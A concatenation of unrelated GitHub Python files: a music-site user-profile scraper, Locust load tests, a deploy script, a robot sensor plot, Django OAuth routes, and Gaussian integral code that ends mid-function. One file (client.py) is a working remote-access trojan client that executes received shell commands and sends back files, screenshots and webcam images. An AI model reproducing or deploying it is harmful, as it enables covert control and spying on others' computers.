{"seq_id":"74415921421","text":"# -*- coding: utf-8 -*-\n\"\"\"\n用户的基本信息\n\n@Author YH YR\n@Time 2018/10/20 16:52\n\"\"\"\nimport json\n\nfrom scrapy_redis.spiders import RedisCrawlSpider\n\nfrom CloudMusicSpider.items import UserBaseInfoItem\nfrom CloudMusicSpider.utils.redisUtil import RedisUtil\nfrom CloudMusicSpider.utils.kafkaProducerUtil import KafkaProducerUtil\nfrom CloudMusicSpider.comment.constant import *\nfrom CloudMusicSpider.settings import *\n\n\nclass UserInfoSpider(RedisCrawlSpider):\n    name = \"UserInfoSpider\"\n    redis_key = KEY_REQUEST_USER_INFO\n\n    def __init__(self, *a, **kw):\n        self.redis_client = RedisUtil(host=REDIS_HOST, port=REDIS_PORT)\n        self.kafka_client = KafkaProducerUtil(broker_list)\n        super().__init__(*a, **kw)\n\n    def parse(self, response):\n        response_body = json.loads(response.body)\n        if response_body['code'] != 200:\n            self.redis_client.add_set(KEY_REQUEST_USER_INFO, response.url)\n            raise Exception('user base info: {0} parse error'.format(response.url))\n\n        # 解析用户基本信息\n        user_id = response_body['profile']['userId']\n        followeds = response_body['profile']['followeds']\n        follows = response_body['profile']['follows']\n\n        # 持久化用户的关注、粉丝人数映射\n        user_follow_info_dic = {'user_id': user_id, 'followeds': followeds, 'follows': follows}\n        self.redis_client.set(KEY_DATA_USER_FOLLOW.format(user_id=user_id), json.dumps(user_follow_info_dic))\n\n        # 初始化关注者列表URL\n        self.redis_client.add_set(KEY_REQUEST_FOLLOWS,\n                                  URL_USER_FOLLOWS.format(user_id=user_id, limit=DATA_LIMIT, offset=INIT_OFFSET))\n        # 初始化粉丝列表URL\n        self.redis_client.add_set(KEY_REQUEST_FOLLOWED,\n                                  URL_USER_FOLLOWED.format(user_id=user_id, limit=DATA_LIMIT, offset=INIT_OFFSET))\n\n        # 初始化用户听歌记录URL\n        self.redis_client.add_set(KEY_REQUEST_PLAY_RECORD, URL_USER_PLAY_RECORD.format(user_id=user_id))\n\n        '''\n        数据持久化\n        Way 1: 格式化写入HDFS的数据格式 -> 每行一条记录\n        Way 2: 写入Kafka\n        '''\n        user_base_info_item = UserBaseInfoItem()\n        user_base_info_item['user_info'] = json.dumps(response_body) + '\\r\\n'\n        yield user_base_info_item\n        # self.kafka_client.produce(TOPIC_USER_BASE_INFO_DATA, response.body)\n","repo_name":"YHYR/CloudMusicSpider","sub_path":"CloudMusicSpider/spiders/userinfospider.py","file_name":"userinfospider.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"}
{"seq_id":"1721272970","text":"class compnum:\n\tdef __init__(self,r=0,i=-1):\n\t\tself.real=r\n\t\tself.imagner=i\n\tdef combine(self):\n\t\tprint(f'{self.real}+{self.imagner}j')\n\nnum10=compnum(2,3)\t\t\t\t\t\t\t\t\t\t# giving the attribute for default funcyions __init__.\n\nnum10.combine()\t\t\t\t\t\t\t\t\t\t\t# calling function.\n\nnum20=compnum(5)\n\nnum20.combine()\n\nnum20.attre=num10\t\t\t\t\t\t\t\t\t\t# for ceating a new attribute. \n\nprint((num20.real,num20.imagner,num20.attre))\t\t\t# for printing one attribute's\n","repo_name":"ritesh2912/python","sub_path":"class and object/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37658214932","text":"from locust import between, task, HttpUser, SequentialTaskSet\n\n\nclass UserBehavior(SequentialTaskSet):\n    def __init__(self, parent):\n        super(UserBehavior, self).__init__(parent)\n        self.token = \"\"\n        self.user_id = \"1711\"\n\n    def on_start(self):\n        with self.client.post(\"/token\",\n                              name=\"retrieve token\",\n                              data={\"client_id\": \"\",\n                                    \"client_secret\": \"\",\n                                    \"grant_type\": \"client_credentials\"},\n                              catch_response=True) as resp:\n            if \"access_token\" in resp.text:\n                self.token = resp.json()[\"access_token\"]\n                resp.success()\n            else:\n                resp.failure(\"Token generation failed\")\n\n    @task(2)\n    def unlock_barn(self):\n        with self.client.post(\"/api/\" + self.user_id + \"/barn-unlock\",\n                              name=\"unlock barn\",\n                              headers={\"Authorization\": \"Bearer \" + self.token},\n                              catch_response=True) as resp:\n            if \"\\\"success\\\":true\" in resp.text:\n                resp.success()\n            else:\n                resp.failure(\"Barn unlock failed\")\n\n    @task(1)\n    def self_interrupt(self):\n        self.interrupt()\n\n\nclass MyUser(HttpUser):\n    wait_time = between(1, 3)\n    host = \"http://coop.apps.symfonycasts.com\"\n    tasks = [UserBehavior]\n\n\nclass ReqRes(SequentialTaskSet):\n    def __init__(self, parent):\n        super().__init__(parent)\n        self.user_id = \"\"\n\n    @task(3)\n    def create_user(self):\n        with self.client.post(\"api/users\",\n                              name=\"create user\",\n                              json={\n                                  \"name\": \"morpheus\",\n                                  \"job\": \"leader\"\n                              },\n                              catch_response=True) as resp:\n            if \"\\\"id\\\":\" in resp.text:\n                resp.success()\n                self.user_id = str(resp.json()[\"id\"])\n            else:\n                resp.failure(\"user creation failed\")\n\n    @task(2)\n    def delete_user(self):\n        with self.client.delete(\"api/users/\"+self.user_id,\n                                name=\"delete user\",\n                                catch_response=True) as resp:\n            if str(resp.status_code) == '204':\n                resp.success()\n            else:\n                resp.failure(\"User deletion failed\")\n\n    @task(1)\n    def self_interrupt(self):\n        self.interrupt()\n\n\nclass MyReqRes(HttpUser):\n    wait_time = between(1, 3)\n    host = \"https://reqres.in/\"\n    tasks = [ReqRes]\n","repo_name":"apreeti-tw/performance-testing-with-locust","sub_path":"scripts/assignments/assignment_json.py","file_name":"assignment_json.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22672994265","text":"import os\nimport time\nimport json\nimport sys\nimport shutil\n\nglobal propertiesFile\nglobal deployModules\nglobal defsDeploy\n\npropertiesFile = \"pyBuild.properties\"\ndeployModules = ['frontend.ear', 'webservice.ear']\n#modulesMaxLen = max([len(f) for f in deployModules])\ndefsDeploy = {\"PRD_CRQ\":\"CRQ0009999999\", \"release\":1}\nmaxDeployLagMins = 10\n\ndef loadDefs():\n\tif not os.path.isfile(propertiesFile):\n\t\tprint(f\"\\nArquivo de propriedades '{propertiesFile}' inexistente.\\n\"\n\t\tf'Criando um novo com parametros default.\\n')\n\t\twith open(propertiesFile,'w') as f:\n\t\t\tjson.dump(defsDeploy,f)\n\t\t#input('>')\n\t\t#sys.exit()\n\tprint(f'\\nArquivo de propriedades \"{propertiesFile}\" encontrado.')\n\twith open(propertiesFile) as f:\n\t\tdefsDeploy = json.load(f)\n\tprint(f'Deploy properties: {defsDeploy}\\n')\n\ndef initDeployDir():\n\tif not os.path.isdir(\"c:\\\\deploy\"):\n\t\tprint(\"\\nDiretório c:\\\\deploy inexistente.\\n\")\n\t\tinput('>')\n\t\tsys.exit()\n\tbinDir = \"c:\\\\deploy\\\\\"+defsDeploy[\"PRD_CRQ\"]+\"\\\\bin\\\\exe\"\n\tos.makedirs(binDir,exist_ok=True)\n\ndef copyDeployFiles():\n\tbinDir = \"c:\\\\deploy\\\\\"+defsDeploy[\"PRD_CRQ\"]+\"\\\\bin\\\\exe\\\\\"\n\tfor f in deployModules:\n\t\tshutil.copy2('bin\\\\exe\\\\'+f,binDir+f)\n\tprint(f'Arquivos copiados\\n')\n\t\ndef buildModules():\n\tmintty_exe = os.environ['LOCALAPPDATA']+'\\\\Atlassian\\\\SourceTree\\\\git_local\\\\usr\\\\bin\\\\mintty.exe'\n\tif not os.path.isfile(mintty_exe):\n\t\tprint(f'\\nArquivo \"{mintty_exe}\" nao encontrado!')\n\t\tinput('>')\n\t\tsys.exit()\n\tprint('Invocando build.sh ...\\n')\n\tret = os.system(mintty_exe+' /usr/bin/bash --login -i -c ./build.sh')\n\treturn ret\n\ndef callSonar():\n\tmintty_exe = os.environ['LOCALAPPDATA']+'\\\\Atlassian\\\\SourceTree\\\\git_local\\\\usr\\\\bin\\\\mintty.exe'\n\tif not os.path.isfile(mintty_exe):\n\t\tprint(f'\\nArquivo \"{mintty_exe}\" nao encontrado!')\n\t\tinput('>')\n\t\tsys.exit()\n\tos.chdir('sourcecode')\n\tprint('Dir: %s' % (os.getcwd()))\n\tprint('Invocando sonar.sh ...\\n')\n\tret = os.system(mintty_exe+' /usr/bin/bash --login -i -c ./sonar.sh')\n\tos.chdir('..')\n\tprint('Dir: %s' % (os.getcwd()))\n\treturn ret\n\ndef checkDeployFiles():\n\tif not os.path.isdir('bin\\\\exe'):\n\t\tprint('Diretorio bin\\\\exe nao encontrado')\n\t\treturn False\n\tallModsOk = True\n\tfor f in deployModules:\n\t\tif not os.path.isfile('bin\\\\exe\\\\'+f):\n\t\t\tprint(f'\\Arquivo \"bin\\\\exe\\\\{f}\" inexistente')\n\t\t\tallModsOk = False\n\t\telse:\n\t\t\tfStat = os.stat('bin\\\\exe\\\\'+f)\n\t\t\tif (fStat.st_size<=0):\n\t\t\t\tprint(f'Arquivo bin\\\\exe\\\\{f:18} inexistente')\n\t\t\t\tallModsOk = False\n\t\t\telif ( (time.time()-fStat.st_mtime) / 60 >maxDeployLagMins):\n\t\t\t\tprint(f'Arquivo bin\\\\exe\\\\{f:18} antigo - {int((time.time()-fStat.st_mtime) // 60)} mins - '\\\n\t\t\t\tf'{time.ctime(fStat.st_mtime)}')\n\t\t\t\tallModsOk = False\n\t\t\t#\n\t#dirFiles = os.listdir('bin\\\\exe')\n\tif allModsOk: print('Arquivos de build ok')\n\telse: \n\t\tprint('\\nArquivos nao gerados no build!')\n\t\tinput('>')\n\t\tsys.exit()\n\nprint('\\n### Init\\n')\nprint(f'propertiesFile={propertiesFile}\\n')\nprint(f'deployModules={deployModules}\\n')\nloadDefs()\ninitDeployDir()\nprint('\\n### Build\\n')\nbuildModules()\nprint('\\n### Check build files\\n')\ncheckDeployFiles()\ncopyDeployFiles()\n\nprint('\\n### Update Sonar\\n')\ncallSonar()\n\nprint('\\n### Script ok\\n')\ninput('>')\n","repo_name":"SandroNPToledo/teste","sub_path":"scripts/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10299080413","text":"# Description: Display using a polar plot the distance measurements collected by a CyBot 180 degree \n# sensor scan at 4 degree increments from 0 to 180 degrees. Sensor data read from a text file.\n\n# Original Code example modified by: Phillip Jones (10/02/2021), (05/15/2023)\n# Original polar plot code example from matplot: https://matplotlib.org/stable/gallery/pie_and_polar_charts/polar_demo.html\n\n# Useful matplotlib tutorial: https://matplotlib.org/stable/tutorials/introductory/pyplot.html\n# Useful best practices Quick Start: https://matplotlib.org/stable/tutorials/introductory/quick_start.html\n# General Python Reference/Tutorials: https://www.w3schools.com/python/ \n\n# Quick YouTube Overviews (See above links as primary resources for additional details): \n# - Quick Polar Plot (subplot) Overview: https://www.youtube.com/watch?v=pb-pZtvkGPM\n# - Quick subplots Overview : https://www.youtube.com/watch?v=Tqph7_qMujk\n\n#Import/Include useful math and plotting functions\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os  # import function for finding absolute path to this python script\n\n# A little python magic to make it more convient for you to ajust where you want the data file to live\n# Link for more info: https://towardsthecloud.com/get-relative-path-python \nabsolute_path = os.path.dirname(__file__) # Absoult path to this python script\nrelative_path = \"./\"   # Path to sensor data file relative to this python script (./ means data file is in the same directory as this python script\nfull_path = os.path.join(absolute_path, relative_path) # Full path to sensor data file\nfilename = 'mock-cybot-sensor-scan.txt' # Name of sensor data file\n\n# angle_degrees: a vector (i.e., array of numbers) for which each element is an angle at which the sensor makes a distance measurement.\n# Units: degrees\nangle_degrees = [] # Initially empty\n\n# angle_radians: a vector that contains converted elements of vector angle_degrees into radians \n# Units radians\nangle_radians = [] # Initially empty\n\n# distance: a vector, where each element is the corresponding distance measured at each angle in vector angle_degrees\n# Units: meters\ndistance = []      # Initially empty\n\n# Open file containing CyBot sensor scan from 0 - 180 degrees\nfile_object = open(full_path + filename,'r') # Open the file: file_object is just a variable for the file \"handler\" returned by open()\nfile_header = file_object.readline() # Read and store the header row (i.e., 1st row) of the file into file_header\nfile_data = file_object.readlines()  # Read the rest of the lines of the file into file_data\nfile_object.close() # Important to close file one you are done with it!!\n\n# For each line of the file split into columns, and assign each column to a variable\nfor line in file_data: \n    data = line.split()    # Split line into columns (by default delineates columns by whitespace)\n    angle_degrees.append(float(data[0]))  # Column 0 holds the angle at which distance was measured\n    distance.append(float(data[1]))       # Column 1 holds the distance that was measured at a given angle       \n\n# Convert python sequence (list of strings) into a numpy array\nangle_degrees = np.array(angle_degrees) # Avoid \"TypeError: can't multiply sequence by non-int of type float\"\n                                        # Link for more info: https://www.freecodecamp.org/news/typeerror-cant-multiply-sequence-by-non-int-of-type-float-solved-python-error/\n                                        \nangle_radians = (np.pi/180) * angle_degrees # Convert degrees into radians\n\n# Create a polar plot\nfig, ax = plt.subplots(subplot_kw={'projection': 'polar'}) # One subplot of type polar\nax.plot(angle_radians, distance, color='r', linewidth=4.0)  # Plot distance verse angle (in radians), using red, line width 4.0\nax.set_xlabel('Distance (m)', fontsize = 14.0)  # Label x axis\nax.set_ylabel('Angle (degrees)', fontsize = 14.0) # Label y axis\nax.xaxis.set_label_coords(0.5, 0.15) # Modify location of x axis label (Typically do not need or want this)\nax.tick_params(axis='both', which='major', labelsize=14) # set font size of tick labels\nax.set_rmax(2.5)                    # Saturate distance at 2.5 meters\nax.set_rticks([0.5, 1, 1.5, 2, 2.5])   # Set plot \"distance\" tick marks at .5, 1, 1.5, 2, and 2.5 meters\nax.set_rlabel_position(-22.5)     # Adjust location of the radial labels\nax.set_thetamax(180)              # Saturate angle to 180 degrees\nax.set_xticks(np.arange(0,np.pi+.1,np.pi/4)) # Set plot \"angle\" tick marks to pi/4 radians (i.e., displayed at 45 degree) increments\n                                             # Note: added .1 to pi to go just beyond pi (i.e., 180 degrees) so that 180 degrees is displayed\nax.grid(True)                     # Show grid lines\n\n# Create title for plot (font size = 14pt, y & pad controls title vertical location)\nax.set_title(\"Mock-up Polar Plot of CyBot Sensor Scan from 0 to 180 Degrees\", size=14, y=1.0, pad=-24) \nplt.show()  # Display plot\n","repo_name":"chuckdud/288","sub_path":"CyBot-Plot-Sensor-Scan-Values-From-File.py","file_name":"CyBot-Plot-Sensor-Scan-Values-From-File.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"13902319277","text":"import socket,os,time\r\nfrom PIL import ImageGrab\r\nfrom VideoCapture import Device\r\n\r\n\r\nwhile True:\r\n    try:\r\n        print('正在连接...')\r\n        HOST, PORT = '127.0.0.1', 9999\r\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n        sock.connect((HOST, PORT))\r\n        \r\n    except:\r\n        print('connect...')\r\n        continue\r\n        \r\n    while True:\r\n        try:    \r\n            recv_data = str(sock.recv(1024), \"utf-8\")\r\n        except:\r\n            print('服务器连接不上！')\r\n            break\r\n        if recv_data == 'hello':\r\n            continue\r\n        if not recv_data:\r\n            continue\r\n        if recv_data.split()[0] == 'get':\r\n            f_name = recv_data.split()[1]\r\n            print(f_name)\r\n            f = open(f_name,'rb')\r\n            \r\n            sock.sendall(f.read())\r\n            \r\n            time.sleep(1)\r\n\r\n            sock.send(b'stop')\r\n            continue\r\n        if recv_data == 'ImageGrab':\r\n            im = ImageGrab.grab()\r\n            im = im.resize((1024,768))\r\n            sock.sendall(im.tostring())\r\n            time.sleep(1)\r\n            sock.send(b'stop')\r\n            print('桌面截图发送成功！')\r\n            continue\r\n        if recv_data == 'CamImage':\r\n            print(1)\r\n            cam = Device()\r\n            im = cam.getImage()\r\n            im = im.resize((320,240))\r\n            sock.sendall(im.tostring())\r\n            time.sleep(1)\r\n            sock.send(b'stop')\r\n            print('摄像头截图发送成功！')\r\n            continue\r\n        #print(recv_data)\r\n        cmd_result = os.popen(recv_data).read()\r\n        if cmd_result == '':\r\n            cmd_result = 'NOT'\r\n        print (cmd_result)\r\n        sock.sendall(bytes(cmd_result,'utf-8'))\r\n    sock.close()\r\n","repo_name":"exexue/muma","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14327471022","text":"from django.urls import path\n\nfrom oauth import views\n\napp_name = 'oauth'\n\nurlpatterns = [\n    path('', views.do_oauth, name='login'),\n    path('logout/', views.log_out, name='logout'),\n    path('callback/', views.callback, name='callback'),\n]\n","repo_name":"smashedr/twitch-unfollow-web","sub_path":"oauth/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"30948195687","text":"\nfrom math import sqrt, pi, exp, gamma\nfrom mpmath import gammainc\nimport sys\n\n#-------------------------------------------------------------------------------\n\nclass X2:\n    def __init__(self,\n                 scale=1,\n                 prefactors=[],\n                 q=[0,0,0,0,0,0],\n                 kind='S',\n                 order=0):\n        self.scale = scale\n        self.prefactors = prefactors\n        self.q = q\n        self.kind = kind\n        self.order = order\n\n#-------------------------------------------------------------------------------\n\nclass X4:\n    def __init__(self,\n                 scale=1,\n                 prefactors=[],\n                 q=[0,0,0,0,0,0,0,0,0,0,0,0],\n                 order=0):\n        self.scale = scale\n        self.prefactors = prefactors\n        self.q = q\n        self.order = order\n\n#-------------------------------------------------------------------------------\n\ndef list_is_flat(l):\n    for x in l:\n        if isinstance(x, list):\n            return False\n    return True\n\n#-------------------------------------------------------------------------------\n\ndef flatten_sub(l):\n    return [item for sublist in l for item in sublist]\n\n#-------------------------------------------------------------------------------\n\ndef flatten(l):\n    l_out = l[:]\n    for i in range(50):\n        if list_is_flat(l_out):\n            return l_out\n        else:\n            l_out = flatten_sub(l_out)\n\n    sys.stderr.write('ERROR: max depth reached in flatten\\n')\n    sys.exit(1)\n\n#-------------------------------------------------------------------------------\n\ndef find_fun_to_lower(q, n):\n\n    l = []\n    for i in range(n):\n        l.append(q[i*3] + q[i*3 + 1] + q[i*3 + 2])\n\n    # find function to lower\n    # start with lowest angular momentum above s\n    fun = -1\n    kmax = max(l) + 1\n    for i in range(n):\n        k = l[i]\n        if k > 0:\n            if k < kmax:\n                kmax = k\n                fun = i\n\n    if fun == -1:\n        sys.stderr.write('ERROR in find_fun_to_lower\\n')\n        sys.exit(1)\n\n    return fun\n\n#-------------------------------------------------------------------------------\n\ndef find_component_to_lower(fun):\n\n    for i, c in enumerate(fun):\n        if c > 0:\n            return i\n\n    sys.stderr.write('ERROR in find_component_to_lower\\n')\n    sys.exit(1)\n\n#-------------------------------------------------------------------------------\n\ndef apply_os4(x4):\n\n    if sum(x4.q) == 0:\n        return [x4]\n\n    fun = find_fun_to_lower(x4.q, 4)\n    component = find_component_to_lower([x4.q[fun*3], x4.q[fun*3 + 1], x4.q[fun*3 + 2]])\n\n    if component == 0:\n        i1 = [ 0, 1, 2, 3][fun]\n        i2 = [ 4, 4, 5, 5][fun]\n    if component == 1:\n        i1 = [ 6, 7, 8, 9][fun]\n        i2 = [10,10,11,11][fun]\n    if component == 2:\n        i1 = [12,13,14,15][fun]\n        i2 = [16,16,17,17][fun]\n\n    bra = [0, 1]\n    ket = [2, 3]\n\n    pre = []\n    pre.append(i1)\n    pre.append(i2)\n    if fun in bra:\n        pre.append(18)\n        pre.append(20)\n        pre.append(18)\n        pre.append(20)\n    else:\n        pre.append(19)\n        pre.append(21)\n        pre.append(19)\n        pre.append(21)\n    pre.append(22)\n    pre.append(22)\n\n    a = fun\n    if a in bra:\n       bra.remove(a)\n       b = bra.pop()\n       c = ket.pop()\n       d = ket.pop()\n    else:\n       ket.remove(a)\n       b = ket.pop()\n       c = bra.pop()\n       d = bra.pop()\n\n    x4_copy = []\n    scale = x4.scale\n    order = x4.order\n    for term in range(8):\n        x4_new = X4(scale=scale,\n                    prefactors=x4.prefactors[:],\n                    q=x4.q[:],\n                    order=order)\n        x4_copy.append(x4_new)\n        x4_copy[term].q[fun*3 + component] -= 1\n\n    for term in [1, 3, 5, 6, 7]:\n        x4_copy[term].order += 1\n\n    x4_copy[2].q[a*3 + component] -= 1\n    x4_copy[3].q[a*3 + component] -= 1\n    x4_copy[4].q[b*3 + component] -= 1\n    x4_copy[5].q[b*3 + component] -= 1\n    x4_copy[6].q[c*3 + component] -= 1\n    x4_copy[7].q[d*3 + component] -= 1\n\n    n = []\n    n.append(1)\n    n.append(1)\n    n.append(x4.q[a*3 + component] - 1)\n    n.append(x4.q[a*3 + component] - 1)\n    n.append(x4.q[b*3 + component])\n    n.append(x4.q[b*3 + component])\n    n.append(x4.q[c*3 + component])\n    n.append(x4.q[d*3 + component])\n\n    x4_list = []\n    for term in range(8):\n        if n[term] > 0:\n            if all(i >= 0 for i in x4_copy[term].q):\n                if n[term] > 1:\n                    x4_copy[term].scale *= n[term]\n                x4_copy[term].prefactors.append(pre[term])\n                x4_list.append(x4_copy[term])\n\n    x4_final = []\n    for x4 in x4_list:\n        if all(i == 0 for i in x4.q):\n            x4_final.append([x4])\n        else:\n            x4_final.append(apply_os4(x4))\n\n    return flatten(x4_final)\n\n#-------------------------------------------------------------------------------\n\ndef apply_os2(x, kind='S'):\n\n    if sum(x.q) == 0:\n        x.kind = kind\n        return [x]\n\n    fun = find_fun_to_lower(x.q, 2)\n    component = find_component_to_lower([x.q[fun*3], x.q[fun*3 + 1], x.q[fun*3 + 2]])\n\n    if component == 0:\n        i1 = [ 0, 1][fun]\n    if component == 1:\n        i1 = [ 2, 3][fun]\n    if component == 2:\n        i1 = [ 4, 5][fun]\n\n    if kind == 'S':\n        pre = []\n        pre.append(i1)\n        pre.append(6)\n        pre.append(7)\n\n    if kind == 'T':\n        pre = []\n        pre.append(i1)\n        pre.append(6)\n        pre.append(7)\n        pre.append(8)\n        i2 = [ 9, 10][fun]\n        pre.append(i2)\n\n    if kind == 'N':\n        if component == 0:\n            i2 = 6\n        if component == 1:\n            i2 = 7\n        if component == 2:\n            i2 = 8\n        pre = []\n        pre.append(i1)\n        pre.append(i2)\n        pre.append(9)\n        pre.append(10)\n        pre.append(9)\n        pre.append(10)\n\n    l = [0, 1]\n    a = fun\n    l.remove(a)\n    b = l[0]\n\n    if kind == 'S':\n        num_terms = 3\n    elif kind == 'T':\n        num_terms = 5\n    elif kind == 'N':\n        num_terms = 6\n    else:\n        sys.stderr.write('ERROR: unexpected kind\\n')\n\n    x_copy = []\n    scale = x.scale\n    order = x.order # not used for S and T\n    for term in range(num_terms):\n        x_new = X2(scale=scale,\n                   prefactors=x.prefactors[:],\n                   q=x.q[:],\n                   kind=kind,\n                   order=order)\n        x_copy.append(x_new)\n\n    if kind == 'N':\n        for term in [1, 3, 5]:\n            x_copy[term].order += 1\n\n    if kind == 'T':\n        x_copy[3].kind = 'S'\n        x_copy[4].kind = 'S'\n\n    if kind == 'S':\n        x_copy[0].q[fun*3 + component] -= 1\n        x_copy[1].q[fun*3 + component] -= 1\n        x_copy[2].q[fun*3 + component] -= 1\n        x_copy[1].q[a*3 + component] -= 1\n        x_copy[2].q[b*3 + component] -= 1\n\n    if kind == 'T':\n        x_copy[0].q[fun*3 + component] -= 1\n        x_copy[1].q[fun*3 + component] -= 1\n        x_copy[2].q[fun*3 + component] -= 1\n        # term 4 (x_copy[3]) is just a copy\n        x_copy[4].q[fun*3 + component] -= 2\n        x_copy[1].q[a*3 + component] -= 1\n        x_copy[2].q[b*3 + component] -= 1\n\n    if kind == 'N':\n        x_copy[0].q[fun*3 + component] -= 1\n        x_copy[2].q[fun*3 + component] -= 1\n        x_copy[4].q[fun*3 + component] -= 1\n        x_copy[2].q[a*3 + component] -= 1\n        x_copy[4].q[b*3 + component] -= 1\n        x_copy[1].q = x_copy[0].q[:]\n        x_copy[3].q = x_copy[2].q[:]\n        x_copy[5].q = x_copy[4].q[:]\n\n    n = []\n    n.append(1)\n    if kind == 'N':\n        n.append(1)\n    n.append(x.q[a*3 + component] - 1)\n    if kind == 'N':\n        n.append(x.q[a*3 + component] - 1)\n    n.append(x.q[b*3 + component])\n    if kind == 'N':\n        n.append(x.q[b*3 + component])\n\n    if kind == 'T':\n        n.append(1)\n        n.append(x.q[a*3 + component] - 1)\n\n    x_list = []\n    for term in range(num_terms):\n        if n[term] > 0:\n            if all(i >= 0 for i in x_copy[term].q):\n                if n[term] > 1:\n                    x_copy[term].scale *= n[term]\n                x_copy[term].prefactors.append(pre[term])\n                x_list.append(x_copy[term])\n\n    x_final = []\n    for y in x_list:\n        if all(i == 0 for i in y.q):\n            x_final.append([y])\n        else:\n            x_final.append(apply_os2(y, kind=y.kind))\n\n    return flatten(x_final)\n\n#-------------------------------------------------------------------------------\n\ndef get_r12_squared(r1, r2):\n    return (r1[0] - r2[0])**2.0 + (r1[1] - r2[1])**2.0 + (r1[2] - r2[2])**2.0\n\n#-------------------------------------------------------------------------------\n\ndef get_k(z1, z2, r1, r2):\n    r12 = get_r12_squared(r1, r2)\n    f0 = z1 + z2\n    if r12 > 0.0:\n        f1 = -z1*z2*r12/f0\n        f2 = exp(f1)\n    else:\n        f2 = 1.0\n    return sqrt(2.0)*f2*pi**(5.0/4.0)/f0\n\n#-------------------------------------------------------------------------------\n\ndef get_rho(za, zb, zc, zd):\n    z = za + zb\n    n = zc + zd\n    return z*n/(z + n)\n\n#-------------------------------------------------------------------------------\n\ndef get_bi_center(z1, z2, r1, r2):\n    z = z1 + z2\n    rx = (z1*r1[0] + z2*r2[0])/z\n    ry = (z1*r1[1] + z2*r2[1])/z\n    rz = (z1*r1[2] + z2*r2[2])/z\n    return [rx, ry, rz]\n\n#-------------------------------------------------------------------------------\n\ndef boys(n, x):\n    if x > 0.0:\n        f = 2.0*x**(n + 0.5)\n        g = gamma(n + 0.5)\n        gi = 1.0 - gammainc(n + 0.5, x, regularized=True)\n        return g*gi/f\n    else:\n        return 1.0/(n*2 + 1)\n\n#-------------------------------------------------------------------------------\n\ndef get_aux(za, zb, zc, zd, ra, rb, rc, rd):\n    k1 = get_k(za, zb, ra, rb)\n    k2 = get_k(zc, zd, rc, rd)\n    return k1*k2/sqrt(za + zb + zc + zd)\n\n#-------------------------------------------------------------------------------\n\ndef get_coulomb(za, zb, zc, zd, ra, rb, rc, rd, c):\n\n    rp = get_bi_center(za, zb, ra, rb)\n    rq = get_bi_center(zc, zd, rc, rd)\n    rw = get_bi_center((za + zb), (zc + zd), rp, rq)\n    t  = get_rho(za, zb, zc, zd)*get_r12_squared(rp, rq)\n    s  = get_aux(za, zb, zc, zd, ra, rb, rc, rd)\n\n    z = za + zb\n    n = zc + zd\n    rho = z*n/(z + n)\n\n    prefac = []\n    prefac.append(rp[0] - ra[0])\n    prefac.append(rp[0] - rb[0])\n    prefac.append(rq[0] - rc[0])\n    prefac.append(rq[0] - rd[0])\n    prefac.append(rw[0] - rp[0])\n    prefac.append(rw[0] - rq[0])\n    prefac.append(rp[1] - ra[1])\n    prefac.append(rp[1] - rb[1])\n    prefac.append(rq[1] - rc[1])\n    prefac.append(rq[1] - rd[1])\n    prefac.append(rw[1] - rp[1])\n    prefac.append(rw[1] - rq[1])\n    prefac.append(rp[2] - ra[2])\n    prefac.append(rp[2] - rb[2])\n    prefac.append(rq[2] - rc[2])\n    prefac.append(rq[2] - rd[2])\n    prefac.append(rw[2] - rp[2])\n    prefac.append(rw[2] - rq[2])\n    prefac.append(0.5/z)\n    prefac.append(0.5/n)\n    prefac.append(-0.5*rho/(z*z))\n    prefac.append(-0.5*rho/(n*n))\n    prefac.append(0.5/(z + n))\n\n    fun = X4(q=c)\n    expansion = apply_os4(fun)\n    integral = 0.0\n    for i in range(sum(c) + 1):\n        b = boys(i, t)*s\n        for f in expansion:\n            if f.order == i:\n                g = 1.0\n                for k in f.prefactors:\n                    g *= prefac[k]\n                integral += float(f.scale)*b*g\n    return integral\n\n#-------------------------------------------------------------------------------\n\ndef test_get_coulomb():\n\n    za = 1.1\n    zb = 1.2\n    zc = 1.3\n    zd = 1.4\n\n    ra = [1.0, 0.0, 1.0]\n    rb = [0.0, 1.0, 2.0]\n    rc = [0.0, 0.0, 3.0]\n    rd = [0.0, 0.0, 4.0]\n\n    ref = 1.71817807954e-05\n    integral = get_coulomb(za, zb, zc, zd, ra, rb, rc, rd, [2, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0])\n\n    assert abs(integral - ref) < 1.0e-16\n\n#-------------------------------------------------------------------------------\n\ndef get_overlap(za, zb, ra, rb, c):\n\n    rp = get_bi_center(za, zb, ra, rb)\n\n    z = za + zb\n    e = za*zb/(za + zb)\n    f = (ra[0] - rb[0])**2 + (ra[1] - rb[1])**2 + (ra[2] - rb[2])**2\n    aux = exp(-e*f)*(pi/z)**1.5\n\n    prefac = []\n    prefac.append(rp[0] - ra[0])\n    prefac.append(rp[0] - rb[0])\n    prefac.append(rp[1] - ra[1])\n    prefac.append(rp[1] - rb[1])\n    prefac.append(rp[2] - ra[2])\n    prefac.append(rp[2] - rb[2])\n    prefac.append(0.5/z)\n    prefac.append(0.5/z)\n\n    fun = X2(q=c)\n    expansion = apply_os2(fun)\n    integral = 0.0\n    for f in expansion:\n        g = 1.0\n        for k in f.prefactors:\n            g *= prefac[k]\n        integral += float(f.scale)*aux*g\n    return integral\n\n#-------------------------------------------------------------------------------\n\ndef test_get_overlap():\n\n    za = 1.8\n    zb = 2.8\n    ra = [0.0, 0.0, 0.0]\n    rb = [0.5, 0.8, -0.2]\n\n    integral = 